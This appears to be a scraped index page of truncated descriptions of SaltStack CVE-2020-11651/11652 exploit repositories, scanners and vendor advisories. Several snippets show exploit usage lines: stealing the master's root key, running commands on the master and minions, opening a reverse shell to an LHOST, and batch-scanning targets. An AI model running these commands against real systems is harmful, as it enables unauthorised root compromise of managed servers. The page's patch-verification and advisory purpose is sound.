CVE-2020-11651-poc

CVE-2020-11651 和 CVE-2020-11652 的 PoC 漏洞利用 这是一个基于最初检查脚本的概念验证漏洞利用。 使用它来验证您是否已成功将 Salt master 服务器更新到包含必要修复的版本。 感谢 F-Secure Labs 的研究与报告。 目前，此脚本可用于访问文件系统，并在 master 和所有连接的 minion 上调度命令。请明智地使用这些能力！ 使用方法 默认操作（无参数）是获取给定 master 的 root key： root@kitploit: root@kalimah:/salt python3 exploit.py --master...

cve-2020-11651-exp-plus

使用bash执行 --exec 参数，原来的脚本是/bin/sh，所以有些命令不兼容比如bash反弹shell 2. 原来的代码会获取本地salt-master的版本来判断远程主机是否受影响，很明显的逻辑错误。我直接删掉了相关代码。 3. 添加批量扫描功能 python saltstack.py -b targetsfile.txt --threads 16 ,targetfile.txt内容如下 root@kitploit: 127.0.0.1:4506 192.168.1.1:4506 安装依赖 pip install salt...

salt-vulnerabilities

Salt Stack 配置文件 该配置文件将检查您的 salt 安装是否已修补到能够防御 CVE-2020-11651 和 CVE-2020-11652 的级别。 它通过检查确保以下包：salt-api、salt-cloud、salt-master、salt-minion、salt-ssh、salt-syndic 和 salt，要么是 3000.2 或更新版本，要么是 2019.2.4 或更新版本，要么不存在。 它还会检查命令行中是否存在 "salt" 命令，如果存在，则检查 salt --version 命令的标准输出，以防 salt 是通过非包管理器方式安装的。 测试...

CVE-2020-11651-PoC

CVE-2020-11651-PoC Repositorio que contiene un exploit para CVE-2020-11651 actualizado para funcionar con las últimas versiones de Python y manejar los errores de conexión. COPIA DEL README DEL REPOSITORIO ORIGINAL Original Repository Exploit PoC para CVE-2020-11651 y CVE-2020-11652 Este es un...

CVE-2020-11651-CVE-2020-11652-EXP

此存储库没有 README。...

CVE-2020-11651-Poc

Esta es una versión actualizada original root@kitploit: git clone https://github.com/jasperla/CVE-2020-11651-poc.git cd CVE-2020-11651-poc Cuando estaba usando el original, me quedé atascado y actualicé el script pov...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read...

salt-rce-scanner-CVE-2020-11651-CVE-2020-11652

这是什么？ 用于测试 SaltStack 漏洞 CVE-2020-11651 与 CVE-2020-11652 的扫描工具。 这些漏洞允许能够连接到“请求服务器”（request server）端口的攻击者绕过所有身份验证 和授权控制，发布任意控制消息，在“主服务器”（master）文件系统的任意位置读写文件， 并窃取用于以 root 身份向主服务器进行身份验证的密钥。其影响是在主服务器及所有连接到它的 从服务器（minions）上实现完全的远程命令执行（以 root 身份）。 如何安装。 该工具需要 Python 2.7 或 Python 3。外部依赖可使用 pip 或...

Exploit for CVE-2020-11651

This is an updated verison original...

Ubuntu 14.04 LTS : Salt vulnerabilities (USN-6849-1)

The remote Ubuntu 14.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-6849-1 advisory. It was discovered that Salt incorrectly validated method calls and sanitized paths. A remote attacker could possibly use this issue to access some method...

Ubuntu: Security Advisory (USN-6849-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2024 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

openSUSE: Security Advisory for salt (openSUSE-SU-2021:2106-1)

The remote host is missing an update for the Copyright C 2021 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free software; you can...

openSUSE: Security Advisory for salt (openSUSE-SU-2021:0899-1)

The remote host is missing an update for the Copyright C 2021 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free software; you can...

SUSE: Security Advisory (SUSE-SU-2021:2105-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

SUSE: Security Advisory (SUSE-SU-2021:2106-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

SUSE: Security Advisory (SUSE-SU-2020:1150-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

SUSE: Security Advisory (SUSE-SU-2020:1151-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Exploit for Path Traversal in Saltstack Salt

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 Exec-Master:...

Ubuntu 16.04 LTS / 18.04 LTS : Salt vulnerabilities (USN-4459-1)

The remote Ubuntu 16.04 LTS / 18.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-4459-1 advisory. It was discovered that Salt allows remote attackers to determine which files exist on the server. An attacker could use that to extract...

Ubuntu: Security Advisory (USN-4459-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2020 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...